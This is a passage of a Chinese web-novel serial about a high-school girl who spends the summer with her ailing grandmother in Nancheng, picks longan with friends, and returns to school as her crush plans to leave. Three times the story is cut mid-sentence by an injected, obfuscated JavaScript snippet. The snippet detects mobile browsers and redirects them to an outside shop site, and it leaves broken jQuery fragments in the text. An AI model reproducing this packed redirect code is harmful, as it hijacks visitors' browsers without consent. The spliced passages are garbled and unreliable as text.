期间又大大小小考了几场试,这次不止是薄弱的数学,于听眠整体的成绩都卡在了一个点上,名次总在年级二十左右徘徊,偶尔能以“1”字开头,但下一次考试又会掉回“2”里,就是不能完全越过那个坎儿。 次数多了她有点无力,加上高强度的学习难以得到放松,她心里产生了些许颓废感,时而觉得好烦不想再学了反正也没进步,时而又觉得不行不能松懈很容易被人反超,届时离谢惊洛就更远了。 心态反反复复发生变化令她疲惫至极,以至于学习以外的事都少了几分心神去关注。 七月初的期末考试结束,于听眠写下最后一个字,盖回笔帽,无声地叹了口气,心情放松了几分的同时又带了点无可奈何。 放松是因为等会儿收拾完东西就可以回家正式开始暑假了,无可奈何则是一整场考试下来她能明显感觉到自己依旧没有进步,不出意外的话估计排名也不会有什么变化。 考完试开始将挪乱的桌子椅子复原,唐思雨把自己的桌子拖回原位,看到愁眉不展的于听眠好奇地戳戳她的脸蛋:“怎么了?愁眉苦脸的?” “唉……”于听眠唉声叹气:“其实也没什么,就是有点烦躁。” 看她的模样唐思雨不用猜都知道她在想什么:“这次感觉也不行吗?” 于听眠摇头。 唐思雨捏捏她手感极好的脸:“好啦,也不用给自己太多压力了,在这个排名能保持住不大起大落就已经很不错啦,太逼自己可能还会适得其反,反正都考完试了,就该高兴一下,你看那群人都高兴疯了。” 其实道理她都懂,只是剩下不到一年的时间了,她的成绩毫无进展,时间却不会等她。她不知道自己最后能走到哪一步,能给这三年交出一份什么样的答卷。 以及……不知道最终能离那个人多近。 “他们那是对答案对疯了。”于听眠瞟了一眼角落里那群拿着试卷举行神秘仪式的人,听他们时不时发出奇怪的怪叫。 “卧槽卧槽卧槽,这题我就说选A吧,我算了半个小时怎么可能错?!” “好啊!这题我懵对了!” “这题多选你们怎么都选了ABD?!妈的我保底选了C!” “啊啊啊啊啊啊我最后的结果算错了!!明明这道题能拿满分的!” “气死我了,我刚刚怎么没想到这个解法?我要想到这个解法这题我就能做出来了!太可惜了!一到考试脑子就转不过来。” “不行我信不过你们的答案,洛哥人呢?他的试卷才是真理,我不许任何人违背!” “刚收卷洛哥就出去了,可能去厕所了。” “你看了洛哥的试卷不是更难过吗?和我对你还能说我的是错的。” “……说得很好,下次别说了。” “不是,这答案是一定要对吗?对完之后你们还有心情过暑假吗?” 唐思雨:“……对答案这种伤天害理的活动什么时候才能被制裁?” “大胆!”于听眠拍桌怒视她:“代代相传的传统岂是你说制裁就能制裁的?异端,拖出去斩了!” “……”唐思雨送了她个天大的白眼:“又开始了是吧?还没正式放暑假就癫了。” 于听眠:“不正常嘛,考完试有谁不癫的?” “切~”唐思雨轻哼了声,问她:“暑假有什么安排吗?要不要去我家玩两天?” “不知道哎。”于听眠想了想,不太确定道:“暑假我也要去我奶奶那边,就是不知道具体什么时候去,等我今晚回去问问我家人先,时间充裕我就去。” “行。” 与此同时,走廊尽头的办公室大门虚掩,谢惊洛正和梁兆兴低声谈论着什么。 梁兆兴面色凝重:“你这件事……是已经做好决定了吗?” 谢惊洛微微摇头:“还没有,看到时候的情况,不过大概率是的。” “这样啊……”梁兆兴叹了口气,抬手拍了拍他的肩膀:“你这孩子一直是有自己主见的,做的每一件事都你的道理,我也相信你有能力把每件事情做好,如果决定好了就去做吧,老师永远都支持你。” 谢惊洛笑了:“谢了,老梁。” “谢什么?有什么好谢的?”梁兆兴往他肩上锤了一拳,力道不重,“至于现在,先回去好好过个暑假吧。” “好啊。” 于听眠把书本搬回自己的位置,将需要带回家的资料整理出来装进书包,她动作不急不躁,中途还看了门口好几次。 谢惊洛还没回来吗? 唐思雨注意到她的动作:“你在看什么?” 于听眠:“看腊月寒冬的枯枝残叶。” 唐思雨:“……现在是夏天姐姐。” 于听眠托着腮笑意莞尔:“所以我在敷衍你呀妹妹~” 唐思雨:“……” 于听眠将最后一本书塞进书包,又拿纸巾将桌面擦拭干净,做好准备工作后她背起书包,又向门口看去。 还是没回来。 唔…… 唐思雨:“你带那么多东西回去能全部写完吗?看你书包都要装不下了。” 于听眠:“先带着,万一写呢?好过想写的时候没有。” 唐思雨:“有道理。” 算了没关系,反正高低就一个月,到时候开学也能见到。 她和唐思雨道别:“那我先走咯,拜拜~” “拜拜~” 于听眠背着撑满的书包出门,刚踏出门口,就差点和迎面而来的谢惊洛撞上。 “嗯?!!”她及时刹住脚步,连忙道歉:“不好意思!” “没事,我也没看见你。”谢惊洛注意到她身后鼓囊囊的背包,对比了一下她的身形,脑海里莫名出现了一个背着一大筐胡萝卜的小兔子形象。 看着就沉,也难为她能背起来。 他的想法来得突然,又觉得有趣,不禁笑出声来。 于听眠被他笑得二丈和尚摸不着头脑,不知道发生了什么好笑的事,但又实在觉得他笑得如沐春风赏心悦目,一时间着了迷,忘了挪开眼。 见眼前的女孩面无表情直勾勾地看着自己,谢惊洛意识到自己的行为不太妥当,大概是有些冒犯她的,便敛了笑意:“抱歉,想到了些有趣的事,请不要在意。” “啊……嗯,好的。”于听眠回神,骤然醒悟自己一直盯着人家脸看是一件多不礼貌的行为。 她连忙挪开视线垂眸,手足无措地应着。 让你沉迷美色,克制一下会怎么样?现在好了吧,盯着人家看,现在人家都不笑了!一定是自己的目光让人家不舒服了。 谢惊洛是不是生气了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263588|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 于听眠很是懊恼。 “要回家了吗?”上方传来谢惊洛无异于常的声音。 哎? 听这语气……好像没生气? 于听眠眨了眨眼,偷偷摸摸抬眼看他。 谢惊洛气质温和,面色坦然,不见丝毫愠色。 好像真的没生气? 那她就放心啦。 于听眠满血复活,连带着声调都轻快了不少:“是的,收拾好东西了,正要回去。” “这样啊。”谢惊洛点头,挥了挥手和她道别:“那就不打扰你了,开学见。” “开学见。” 相互道别后,谢惊洛侧身走过,于于听眠身旁掠过时,距离太近,她隐约感受到了他身上若有若无的山茶花香。 宁静淡雅,沁人心脾。 他的洗衣液是什么牌子呢?好好闻啊,能不能去问一下他? 于听眠无端联想。 当然也只是联想一下,真要她去问拖她去都不敢去的。 所以她也只是看着他进了教室,然后心情愉悦地往楼下走去,或许是心理作用,她直觉沉重的书包都轻了几分。 只是她愉悦的心情并没有维持多久。 “回来了?” 于听眠一推开家门,就看见客厅中央立着一个行李箱。付向晓正在忙忙碌碌收拾东西,今早上班穿的衣服还没来得及换下,见于听眠回来,看了她一眼,脸上是掩盖不住的沉重和疲态。 家里的气氛低沉地想注意不到都难,于听眠察觉是出了什么事,心直往下沉,知道出事却不知道出什么事的感觉令她难受,连死沉的背包都来不及放下,她开口问:“妈妈,是出什么事了吗?” 既然让她看见了,付向晓也就没打算瞒着她:“你奶奶今天忽然昏迷,被阿姨及时发现送往医院,你姑姑姑父他们已经过去了,你也快去收拾一下,等你爸回来我们今晚就回南城。” …… 事发突然,于听眠万万没想到会是这样的事,她脑子“嗡”地一声空白,一时半会儿没能理解付向晓话里的意思。 “……怎、怎么会这样?” “你奶奶这两年来身体本就不好,幸好家里还有阿姨在……你先去收拾东西吧,不要想太多,及时送去医院了,没事的。” “……好。” 于听眠心里像乱成一团的麻线,思绪繁杂理不清,不知道说什么,只沉默地放下书包回到房间翻出行李箱开始收拾东西。 一时间偌大的房子只有物品碰撞时发出的轻微声响。 将必需品依次放进行李箱,中途她想起了什么,拿出手机给唐思雨发了条信息。 [小鲤鱼:思雨,我去不了你家了,我今晚就走。] 唐思雨回得很快。 [思雨:啊?今晚就走吗?] [思雨:怎么那么快?都还没开始放假就要走?] 于听眠简略地给她说了一下原因。 [小鲤鱼:我奶奶身体出了点问题,我们今晚就要赶回去了。] [思雨:啊这……] [思雨:有点突然啊……奶奶没事吧?] [小鲤鱼:家里有阿姨在,及时送医院了。] [思雨:行,那你先回去吧,路上注意安全。] [小鲤鱼:好。] 48. 故地重游 老人家是突发心律失常进的医院。 来不及把行李放下,于新鹤驾着车直接从云城赶到了南城人民医院。 待于听眠他们赶到病房时,老人家正悠悠转醒。 老太太尚未痊愈,气息微弱,说话断断续续的,有时候不靠近听还听不清,她让他们不要太担心自己,说自己年纪大了身体有点毛病很正常,觉得他们全部跑过来太耽误他们工作和学习了,就让他们都回去,说有阿姨照顾就行了。 于新鹤他们早在单位请好了假,嘴上应着老人家的话,但实际上也陪同到了她身体好转准许出院。 安置好老人家,于新鹤他们的假期也到了末尾,也该准备返程了。 “爸爸妈妈,要不我留下来陪奶奶一段时间吧,你们先回云城,我月末再回去。”返程的前一晚,于听眠说出思虑了一整天的决定。 “你想留下来?” “嗯。”于听眠点头:“我想多陪陪奶奶。” “可以是可以,不过……”付向晓皱眉,她有其他的考虑:“月末我和你爸估计是挤不出时间来接你回去的,届时你需要自己坐车回来,你从小就晕车,也从来没试过自己坐那么久的车,到时候你一个人能处理好吗?” “不知道。”于听眠话锋一转:“试一试呗,凡事总有第一次嘛,下个月我就成年了,总不能以后出远门都要靠你们接送我吧?就让我试一次吧。” “孩子有这个想法你就由着她去做吧,眠眠长大了你也不要太担心她了,就像她说的,凡事总有第一次。”于新鹤揽了揽付向晓的肩膀,转而对于听眠嘱咐道:“你要决定好了的话,那就依你吧,这段时间你多注意一下你奶奶的身体状况,虽然有阿姨在,但也是以防万一,一旦发现有什么不对马上给我们打电话。” “知道了。” 老太太是第二天才得知于听眠要留下来陪她。 老人家听了于听眠的决定后什么也没说,只是拍了拍她挽着自己的手,和她一起目送着轿车远去,最后消失在拐角。 于听眠注意到她的表情,从最初听到自己要留下来陪她时,她的神情是欣喜的,却同时也掺杂了一丝悲伤。 于听眠心头一动,忽然就明白了她为什么会悲伤。 倘若不是老太太的身体出了问题,自己应该也只是回来小住几日,然后等于新鹤的假期结束,再跟着他的车回云城。 她能留下多住几天,老太太自然是欢喜的,可一想到自己的身体状况,又不免感到一阵悲伤。 当天晚上的晚饭是于听眠和老太太两个人吃。 四菜一汤,阿姨是不吃的,她按照于新鹤嘱咐的标准煮好饭菜就匆匆回了家。 听说阿姨家住得不远,家里还有两个孩子,又到了暑假,她得回去给孩子们做晚饭,等吃过了再过来。 宽大的餐桌上平平整整摆放着香气扑鼻的菜肴,有荤有素色泽怡人,厨房的灶台上还小火煨着一锅汤,发着“咕哝咕哝”的声响。 阿姨心细,临走前已经帮两人盛好了汤晾在桌子上,等他们入座温度降得正好。 只是餐桌太大,菜肴太多,而吃饭的人太少,就多少显得有些冷清了。 老太太习惯了食不言寝不语,她虽不要求孩子们也按照她的习惯来,但她不说话,于听眠受她感染也噤了声,一顿饭下来吃得安安静静的,敞大的房子只剩碗筷碰撞的“叮当”声。 菜肴的味道不错,可于听眠有些食之无味。 太过冷清了,安静渗入了骨髓,是从骨骼里透出来的孤寂。 不知道爷爷走了的这些年她一个人是怎么熬过这段形单影只的日子的。 2014年7月13日 天气:阴 我选择了留下。 忽然觉得这老房子真的很大,奶奶一个人真的很孤独。 爷爷走后的这些年,她都是这样一个人生活的,她不怎么爱讲话,但我知道她其实很喜欢热闹,能陪伴她的时间真的太少了。 以后一定要找个离家近的工作,最好能经常回家看看。 苏然得知了老太太生病,说要来看看她。 老太太认得这个活泼开朗的小姑娘,记得她以前经常来找眠丫头玩,只是后来学业重了,能常来的次数就少了不少,这次难得,老太太就让她多住两天,两人好好叙叙旧。 苏然喜滋滋地答应了。 三人围坐在一起聊了一下以往的趣事,老太太笑吟吟地说起于听眠之前很喜欢在这种时候去摘后院龙眼树的龙眼。 “哦哦哦!这个我知道,那时候眠眠还经常拿来给我吃呢,又大又甜,超级好吃!这么久了那颗树还在呢?” “在,怎么不在,开得正茂盛着呢。” 于听眠静静听着她们的对话,笑笑不插嘴。 其实她从来没有亲自去摘过龙眼,一直都是站在一旁看着大人们摘,等龙眼装进提前准备好的袋子里,再和徐知乐一人拿起一串吃得津津有味。 只是老太太大抵是记不清了。 “好朋友难得过来一次,你们两个去找点你们年轻人爱玩的活动吧,不用太顾着我,我年纪大了喜欢困觉,也到点睡觉去了。” 两个人就这样被老太太赶出了家门,美名其曰不要打扰她睡觉。 “所以我们去哪里玩?”事发突然,毫无准备的苏然迷茫地问她。 于听眠想起了个地方,以前都是自己一个人去,没和她说过:“我知道有个书店,小说漫画齐全不少是开封的,能看一下午,去不去?” “有这圣地你不早说?吃独食是吧?”苏然锤了她一下:“事不宜迟,我们快走!” 于听眠双手抱胸没动,饶有兴致地看着她往前冲了两步然后原地立正回头:“呃……怎么走?” “不知道怎么走还跑那么快?”于听眠眉梢轻挑:“要坐公交车去。” “我去这还是你吗于听眠?”苏然震惊:“你居然为了一个书店主动去坐公交车?” “可是那里的有开封的小说和漫画哎。”于听眠耸肩:“而且种类齐全,还有专门设置的阅读区。” 苏然恍然大悟:“好的,我逐渐理解了一切。” 公交车到了站,两人下车,由于听眠带路一路沿着熟悉的方向走去。 中途路过一家水果店,里面上了刚成熟不久的龙眼。 苏然扯扯于听眠的衣角,示意她看:“眠眠,你看那龙眼,好大一个,看着就好吃哎。” “你想吃龙眼了?”于听眠抬头看了一眼,店铺顶上的招牌绿底白字写着“百果园”三个大字。 “我那后院不是有一颗龙眼树吗?现在去摘新鲜着呢。” “啊?我们吗?”苏然的手指在自己和于听眠之间来回指:“就我们两个难度是不是有点大了?” “好像也是,没一个能上树的。”于听眠歪头想了想,心生一计:“那我找个工具人来。” “谁啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273332|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我的小表弟。” 说干就干,于听眠当即掏出手机给徐知乐发了个信息。 [小鲤鱼:在做什么?] [乐死我了:写作业呢,怎么了?] [小鲤鱼:这两天有时间吗?后院的龙眼熟了过来摘龙眼吃。] [乐死我了:好哇,我明天就过去!] 从文字上都能感受到他有几分迫不及待的意味。 想来又是被姑姑姑父按着去学习,正愁没理由逃掉。 于听眠收了手机:“好啦,我们走吧。” “哎……是你这小娃娃呀,好久没来咯!” 于听眠很是意外,将近一年没来,店主婆婆居然还记得她。 “婆婆您还记得我呐?” “当然记得。”婆婆笑起来眼睛眯成了缝,眼角的皱纹遮不住眼里的慈祥。 身后的客人往来匆忙,而她说话的语调慢悠悠的。 “我还记得你很喜欢看漫画和小说,经常来我这一坐就是很久,回去的时候还会带几本学习书……娃娃你现在还是在外地读书哦?” “是啊。”于听眠点头:“我现在在云城读书,刚好暑假了,就回来看看,这位是我的好朋友,今天带她一起来看书。” “那婆婆就不打扰你们哩,你们去看吧,角落位置安静,去那里合适的,婆婆我也去招待顾客咯。” “好的,谢谢婆婆。” “看来你真的经常来这家店啊,老婆婆都记得你了……不过这里的书是真的多啊!”苏然好奇地左顾右盼,兴奋地压低声音在于听眠耳边叽里呱啦。 于听眠有点心虚,一开始她还不是经常来,只是后来因为某件事,除了这里的书籍种类多还带了一丝碰运气的成分,来的次数就频繁了些。 “哇塞居然有这本漫画?!哎呀这本也有!我去这本我好喜欢的!”苏然不断在书架上拿起一本又放下一本,纠结症犯了就是选不中先看哪本。 她决定将这个难题抛给好友,她将两本风格迥异的漫画递到于听眠面前:“帮我选一本呗。” 于听眠一眼相中了西幻题材的那本:“我觉得这本挺不错的。” “行,那就这本了。” 这条街道地处市中心,近年来又添了不少建筑,往前走去还有一个在建的广场,每当节假日到来,这里总是人来人往热闹非凡。 南黎今日盼得孙子回来,得了兴致,又见不得年轻人整日待在屋子里没个活动,就非要拉着对方上街,觉得年轻人多上街走走周身气质都活泼了不少,虽然最重要的原因是她自己闲不住。 谢惊洛看出她的想法,虽略感无奈,却也是由着她老人家,任劳任怨同她出门了。 “又是一年的龙眼成熟了啊。”南黎路过一家名为“百果园”的水果店,见着了应季的龙眼,便问谢惊洛:“小洛,你想不想吃龙眼?奶奶给你买。” 谢惊洛被她这副哄孩子的语气弄得哭笑不得:“奶奶,你想吃的话可以打电话让阿姨买好在家,回去就能吃了。” 南黎不认可他说的话:“是你想吃。” “好的。”谢惊洛乖乖听话改口:“是我想吃。” 谢惊洛哄着她说话,经过一家书店时,眼角余光似乎瞧到了一个熟悉的身影,话头停下,他转头向着书店里头看去。 店内人头攒动,却不见认识的人。 “怎么了?” 谢惊洛摇头笑道:“没什么,大概是看错了。” 49. 走啦 “啊?!” 高大挺拔的树木枝繁叶茂,枝头果实个大饱满,垂涎欲滴。顶上日头正烈,时有微风游走,带着绿叶发着“沙沙”轻响。 徐知乐站在阴影斑驳飘忽的大树底下,不可置信直着手指指着自己,认真发问:“就我一个摘?你们认真的吗?!” 既然他认真地发问了,于听眠也认真地告诉他:“对,因为全场就你一个会爬树,腿一蹬窜得比猴子还快。” “你一定要这么形容吗……不对!”徐知乐差点被她带错重点:“为什么我一定要爬树呢,不能找个长一点的竹竿戳下来吗?之前都是拿竹竿戳的。” “唉……”于听眠叹气,无奈摊手:“我也想啊,我去看过了,这几年都没怎么摘龙眼,之前的竹竿好久不用,整日风吹雨打的,都腐了,我们在周围找了一圈也没能找到一根合适的。” 徐知乐眼睛微眯,狐疑:“真的吗?” “真的,从小到大我什么时候骗过你?”于听眠信誓旦旦,不再给他抗议的机会,将他翻了个身往树底一推,很是独断专权:“去吧,也不用爬多高,能摘就行,我们在下面兜着。” “……” 徐知乐带着满脸的幽怨抱着树干开始往上爬。 苏然慢慢贴近于听眠耳畔,好奇:“你真的从小到大没有骗过他?” “当然是假的。”于听眠笑道:“只是他一般不知道我在骗他。” 苏然:“……还得是你。” 徐知乐跨坐着粗枝握着剪刀“咔嚓咔嚓”挑着龙眼串剪,于听眠和苏然拉了张布兜在底下接着,老太太瞧着有趣,搬了张摇椅在檐下坐,晃悠手里的蒲扇看他们闹腾,时而出声提醒他们要小心安全。 蒲扇生出的风带着丝微凉意,驱散了炎炎夏日的燥热,前后轻晃的摇椅发着木质做工特有的“吱呀”声,耳旁的欢声笑语逐渐模糊,竟是有了些许困意。 “先停一下,我们把这些捡出来先!” 布兜里的果实越积越多,担心继续累积她们两个提不住,于听眠抬头喊停了剪龙眼串愈发得心应手甚至开始乐此不疲的徐知乐。 闻言,徐知乐停了手上的动作,闲着没事举着剪刀开始研究,于听眠则和苏然一起,开始分拣布兜里头的果实。 于听眠捡起几个龙眼凑到眼前仔细查看。 苏然瞧见她的动作:“怎么了?” 于听眠手中的果实一个赛一个饱满,剥开外壳,里面的果肉晶莹剔透,汁水充盈。 于听眠疑惑:“我记得前几年的龙眼没长那么好的,就今年长得格外漂亮,难道是我记错了?” 前几年虽说没有特意组织去摘龙眼,但于听眠在院子里晃荡时,瞅见位置长得低的,也会抬手去摘两串吃,只是在她的印象里,似乎没有哪年的龙眼长得如同今年的这般漂亮。 苏然倒是不以为然:“哎呀,不管那么多了,长得好不是好事吗?要是年年长成这样那就年年来摘,看着就好吃。” 于听眠觉得所言有理,笑了笑:“说的也是,那不管了,继续摘吧,我先拿几个给奶奶尝尝。” 她说着,伸手提了不大不小的一串朝着老太太的方向看去,殊不知老人家什么时候已经打起了瞌睡。 近来她时常嗜睡,精气神也大不如前。 于听眠走上前去,轻轻晃了晃她的肩膀。 “奶奶?” “……嗯?”老人家悠悠转醒,迷蒙着眼看着她。 “困了就回房歇会吧,椅子上睡得难受,这里我们折腾就好了。”于听眠低声劝她。 老太太思虑片刻,接受了于听眠的提议:“也好,你们注意安全。” 于听眠点头应好,顺手收了摇椅,扶着她将她送回了房。 那串龙眼没吃上,又被放回了原位。 待树下的几个大篮子都装满了龙眼,今日的活动也算告一段落。 徐知乐在树上爬了一天功德圆满,刚从树上蹦下来就一头扎进龙眼堆里大吃特吃,一口一个神情无比满足:“这是我忙了一天应得的。” 于听眠对他犹如饕餮转世般的吃相不敢恭维,发出奇怪声音:“咦——” 徐知乐:“可是真的很甜啊。” 确实很甜,于听眠和苏然裁剪多余的枝叶时也偷吃了不少,只是这并不妨碍她对徐知乐进行唏嘘。 三人合力将几个大篮子提进屋里,找了个空余的角落堆放。厨房里阿姨准备好了晚饭,热乎的饭菜香味正浓,香气在屋里飘荡,勾得人蠢蠢欲动。 恰巧老太太也醒了,招呼几人吃晚饭。 “忙了一天都饿了吧?都快来吃饭,天要黑了乐乐你今晚也别回去了,在外婆这多住两天再走吧?” 徐知乐可巴不得,回去也是天天挨批,老太太出声挽留那和想睡觉正好有人递枕头来有什么区别? 他笑嘻嘻地应下了。 餐桌上多了两个人吃饭,令人不适的冷清感淡去不少,尤其徐知又是个喜欢叽叽喳喳的,和苏然产生了奇妙的化学反应,两人你一言我一语就讲起了相声。 对此,于听眠评价他俩不组个组合真的是亏大了,建议明天就出道。 苏然问她:“我们出道那你干什么?” 于听眠对自己的定位有明确认知:“当黑心经纪人压榨你们。” 轮到苏然和徐知乐唏嘘她:“咦——” 他们三聊得热闹,老太太眼里含笑看着他们活力十足的模样,也不说话,只想着若是每天都能如此那就很好了。 2014年7月16日 天气:晴 今年的龙眼长得意外地大,而且很甜,明明前几年都一副快要萎靡的模样,结的果实又小又涩。 回想起了小时候爷爷和爸爸经常带着我们去摘龙眼的日子,那真是一段短暂又幸福的时光。而时隔多年,摘龙眼的重任落到了我们身上,但好在顺利完成任务~ 明年还要来摘哦—— 如果明年的果实也又大又甜的话。 半个多月的假期说长不长说短不短,期间老人家身体没再出什么状况,每天吃吃喝喝给自己找些事干倒也充足。 只是于听眠觉得时间过得还是太快了些。 离开的前一晚,于听眠在收拾行李,检查有没有遗漏的物品,老人家给她捡了一大袋龙眼,眼看着袋子都要装不下了,也还在见缝插针往里塞。 于听眠连忙阻止她:“好了好了,奶奶不用装那么多,袋子都要装不下了!你留一些给你自己吃,我带一点走就够了。” “我一个人能吃得了多少?留那么多给我吃不完要放坏的,你多带一些回去,还能分给同学们吃,都好过放在我这里坏掉。” 于听眠哭笑不得,拗不过她,就随着她去了。 老太太手上忙活着嘴上也不忘絮絮叨叨:“东西都收拾好了没有啊?手机充电线什么的都记得带上,还有闹钟调了吗?时间调早一点,坐客车不比家里人开的车,睡过头迟到了不等人的。” “嗯,我知道的……今年的龙眼长得真的好大个。” 闻言,老太太笑了:“喜欢吃就多带点回去,等明年树又结果了,再叫上乐乐和然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284561|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然那丫头一起来摘。” “好呀。” 于听眠听着她念叨也不觉得烦,她说什么就应什么,两人一说一应什么都聊两句,说着说着竟也聊到了半夜,最后还是于听眠注意到了时间劝她回去休息。 第二日一早,天刚蒙蒙亮,提前设定好的闹钟“叮铃铃”吵着开始工作。于听眠艰难起身关掉仿佛催魂一般的铃声,揉着惺忪的眼睛开始洗漱。 捧了一捧凉水泼在脸上,于听眠一个激灵,游离的神智回归,眼神也瞬间清明不少。 她拿了条毛巾擦干脸上的水渍,走到窗前拉开窗帘,透过透明的玻璃窗,她看见清晨的浓雾还未散去,隐隐笼罩着世界,而远方的天际亮起了一片。 提着收拾好的行李下楼,于听眠看见客厅和厨房都亮着灯,她把行李放在不碍事的角落,往厨房走去。 灶台上熬着的粥熟了,转了小火慢慢煨着,老太太往碗里打了几个鸡蛋,正往里头加调料调味,她的手不稳,肉眼可见微微颤抖着,所以加调料时格外小心翼翼,生怕一不小心就放多了。 于听眠见状连忙上前帮忙,她接过对方手中的碗,边搅打边说:“奶奶让我来吧,不是说不用帮我煮粥了吗?还要你一大早起来,我随便吃两个面包垫一下肚子就行了。” 老太太可不赞同她的话:“那可不行,早餐还是要吃些热乎的,吃那些冰凉的包装面包都没营养,而且你本来就晕车,肚子里有点暖的会舒服些,况且我也没做什么,就熬个粥炒个鸡蛋,很容易的……咳咳——” 油热了鸡蛋下锅,“滋啦”一声响冒出烟气,她不慎吸入油烟,被呛得直咳嗽。 于听眠见她咳嗽着急,便伸手接过她手上的铲子替了她的位置:“奶奶你先出去吧,这里油烟大你小心咳嗽,让我来就好。” 锅铲离了手,老太太嘴唇嗡动一下,似乎想要说些什么,但最终也只是在于听眠看不见的地方轻轻叹了口气,转身踱步走出厨房。 简单喝了碗粥,于听眠放下筷子,看了眼时间,差不多到了出发的时候。 窗外闪光灯闪过,响起了汽车由远及近行驶而来的声音,提前约好前往车站的汽车来接人了。 于听眠拿起行李,看了眼桌面上来不及收拾的碗筷:“奶奶,车来了我要走了,桌面上的东西你就先别收拾了,等阿姨来了再整理,这么早起床忙活也累了,要是没什么事做就回房里睡会儿吧,不用送我啦。” 老太太却很是固执:“就在门口两步路,也送不了多远,走吧,我再送送你。” 于听眠将行李放进后备箱,上车的前一刻她越过车身看了站立在门前的老人家一眼。 偌大的房子和空旷的门前衬得她的身形无比瘦小,好像整个世界只剩下了她一个人,透过她不再清明的眼睛,于听眠看见了其中浓浓的不舍和孤寂。 于听眠心头一酸,热气涌上眼眶,明明对方什么都没说什么也没做,可就是看不得她这样的眼神。 一句“要不我不走了”差些脱口而出,被她硬生生忍了下去。 本就不可能的事何必说出来徒增念想。 最后老人家先开口了。 她笑着抬手,朝着她的眠丫头挥了挥,等着对方也像小时候那样和自己挥手说再见:“该走了……走吧,一路顺风。” 于听眠眼里闪着泪花,睁大了眼睛没敢眨眼,生怕眼睛一动眼泪就掉下来。 她挤出个笑容,压抑着声音里的哽咽,用力挥手告别:“那奶奶我走啦,要多注意身体,我寒假再回来看你,再见——” “再见。” 50. 挺甜的 “眠眠——快一个月不见想死你了——” 于听眠刚进教室,唐思雨小跑扑上来给了她一个大大的拥抱,结果用力过猛撞得她一个踉跄重心后移。 “哎哎哎——等等——” 于听眠连忙伸手往身后摸索能稳住重心的物体,还没等她抓住什么,一只温热的手掌抵住了她的后背。 “小心些。” 手掌停留的时间并不久,等她站定后就立刻离开,可以说是一触即离,可后背掌心接触过的地方却迟缓地泛起一阵似有似无的酥麻,延迟地流经全身,身体又开始变得不自在起来。 “……谢谢!”于听眠连忙伸手扶住一旁桌子稳住身形,匆忙道谢。 “不用。” 谢惊洛并不清楚自己的举手之劳给对方造成了什么影响,待她站稳后从她身旁穿过,三两步朝教室门口走去,于听眠只看见他的背影眨眼间就消失在了转角。 唐思雨回过神来连忙道歉:“对不起对不起!我有点激动了,没有撞到哪里吧?!” “没事,谢惊洛扶了我一下……话说你撞我的力气还挺大。” 唐思雨瞬间炸毛:“胡说我才没有胖!!” 于听眠:“……不是姐们我哪个字说你胖了??” 被这么一闹腾,一个月不见的陌生感全然消散,刚一坐下唐思雨就缠着她要东西。 “快给我快给我快给我——我现在就要吃——” “别急呀,等我拿出来先……行了,你拿吧。” 于听眠带回来的龙眼不少,付向晓让她带些去给朋友们吃,她拿了三个不同颜色的袋子分别装了三袋,在装的时候她发现了一颗特别大的,比其他的大了明显一圈。出于某些小小的想法,她将它放进了暖黄色的袋子里。 她将三袋龙眼拿出来放在桌面上,唐思雨伸手拿走了离自己最近的一袋,迫不及待打开袋子摸出一颗。 “哇,这个头看着就好吃!” “那你吃吧,吃完了我再给你带,我家里还有好多……秦长宇呢?我给他和谢惊洛也带了一份。” “他?”唐思雨目光在教室转了一圈,在某个角落找到了正和人聊得热火朝天的秦长宇:“他在那呢,秦长宇——” 秦长宇结束聊天过来:“怎么了?” 唐思雨指着桌子上剩下的两袋龙眼:“眠眠给你和谢惊洛带了龙眼,快来吃。” “哟?给我的?”秦长宇接过于听眠递给自己的袋子:“太感谢了!” “不客气。”于听眠笑笑,又将暖黄色的袋子一起递过去:“这还有一份,谢惊洛不在,麻烦你帮我给他吧。” “行,包在我身上。” 唐思雨一口一个龙眼边吃边问:“谢惊洛又被老梁叫走了?” “对啊。” “什么事啊?一开学就叫人去。” “不知道啊。” 办公室里,梁兆兴捧着一杯刚泡好的茶,吹了吹还在冒腾的热气,才喝上一口,办公室的大门就被人推开。 “老梁,一个假期不见,你还是那么喜欢喝茶。”谢惊洛顺手关上门,见人又在喝茶,笑着打趣。 “人到中年,可不就好这一口嘛?你们小年轻还不懂的。”梁兆兴乐呵着接了他的打趣然后回到正题:“做好决定了?” 谢惊洛点头。 “还是要走?” “对。” 杯子里的茶叶浮动,在褐色的茶水中飘荡,梁兆兴长长地叹了口气,虽早就料到了结果,可当真听到他要走的瞬间还是不免觉得可惜。 